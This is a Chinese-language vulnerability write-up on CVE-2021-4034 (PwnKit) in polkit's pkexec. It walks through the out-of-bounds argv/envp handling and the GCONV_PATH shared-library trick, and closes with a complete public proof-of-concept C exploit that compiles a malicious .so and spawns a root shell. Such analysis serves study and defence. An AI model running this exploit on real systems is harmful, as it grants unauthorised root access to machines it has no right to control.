CVE-2021-4034

漏洞原文来自 Qualys Security Blog

PoC1 来自 https://github.com/berdav/CVE-2021-4034

PoC2 来自 https://github.com/arthepsy/CVE-2021-4034

漏洞描述

Polkit 是用于在类 Unix 操作系统中控制系统范围特权的组件。它为非特权进程提供了与特权进程进行通信的有组织的方式。

Polkit 的 pkexec 存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。

该漏洞CVSS评分:7.8,危害等级:高危

漏洞利用难度低,最早引入问题的 commit 来自 2009 年,影响版本范围远超去年的 sudo 漏洞。

漏洞作者在 Ubuntu、Debian、Fedora 和 CentOS 的默认安装环境上均测试通过。

影响范围

由于Polkit为系统预装工具,所有主流Linux版本均受影响

漏洞分析

pkexec为polkit其中的一个组件,允许用户以另一个用户身份执行命令,其使用有点类似于sudo。

1
2
3
4
5
6
7
$ pkexec
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

因此其权限具有SUID,在执行时程序拥有文件所有者权限,也就是root。

1
2
$ ll /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec*

首先对其还未修复的代码进行审计,这里选用尚未更新的源码进行分析。在main函数中,在533-567行处理命令行参数,for 循环从下标 1 开始遍历 argv[]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
main (int argc, char *argv[])
{
...
for (n = 1; n < (guint) argc; n++)
{
...
}
...
path = g_strdup (argv[n]);
...
if (path[0] != '/')
{
s = g_find_program_in_path (path);
...
argv[n] = path = s;
...
}
...
if (clearenv () != 0)
{
g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
goto out;
}
...
}

image-20220127202308142

然后在610行开始,会获取PROGRAM参数名称,也就是需要执行的程序。

image-20220127202452874

而问题就出现在这n=1上,当执行pkexec不传递任何参数时将会发生:

  1. 在第 534 行,整数 n 永久设置为 1
  2. 在第 610 行,从 argv[1] 越界读取指针路径
  3. 在第 639 行,指针 s 被越界写入 argv[1]

但巧合的是,当执行程序时,内核会将参数,环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾

1
2
3
|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|

如此看来,当越界读写argv[1]时,实际上读写的是envp[0]的值。

  1. 假设我们执行pkexec,此时argc=0envp={"xxx"}
  2. 610行,程序会读取argv[1]到path变量中,也就是”xxx”
  3. 632行,s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx
  4. 639行,程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp也就变成了{"/usr/bin/xxx"}

如果把环境变量稍加更改,当envp={"PATH=folder_name=."},在folder目录中放置一个可执行文件lol,最后在越界读写后envp[0]将会变成folder_name=./lol

因此,这种越界读写会将一个新的不安全的环境变量引入pkexec的环境中(执行前所做的过滤将功亏一篑)

但是,程序的本身还是十分看中安全问题的,在701行程序会清除所有环境变量。也就是说,所有的漏洞利用需要在701行之前完成(不要想着LD_PRELOAD啦)。

image-20220127204623040

漏洞利用

在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。

iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。

如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。

具体的利用过程如下:

  1. 首先一个gconv-modules配置文件,放置在./xxx目录下,其内容指向一个准备好的恶意so文件。
  2. 创建可执行文件xxx,放置在./GCONV_PATH=.目录下,注意目录名称为GCONV_PATH=.
  3. 然后调用pkexec,argc=0,envp={"xxx","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8"}
  4. pkexec执行到610行,path=xxx
  5. pkexec执行到632行,找到xxx的具体位置,因为我们制定了环境变量PATH=GCONV_PATH=.,所以会找到xxx的具体位置为GCONV_PATH=./xxx
  6. pkexec执行到636行,envp[0] = argv[1] = path= GCONV_PATH=./xxx,此时envp为{"GCONV_PATH=./xxx","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8"}
  7. pkexec执行到643行,调用g_printerr,从而调用iconv_open()函数,找到gconv-modules配置文件:./xxx/gconv-modules,然后找到so文件,最终执行so文件。

我们只要在so文件的gonv_init()函数中,执行/bin/sh即可拿到一个root权限的shell。

EXP展示(来自PoC2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";

int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

参考

https://saucer-man.com/information_security/876.html

https://mp.weixin.qq.com/s/3rnkcRfX_BxzlVzp0stQRw

感谢swing师傅的指导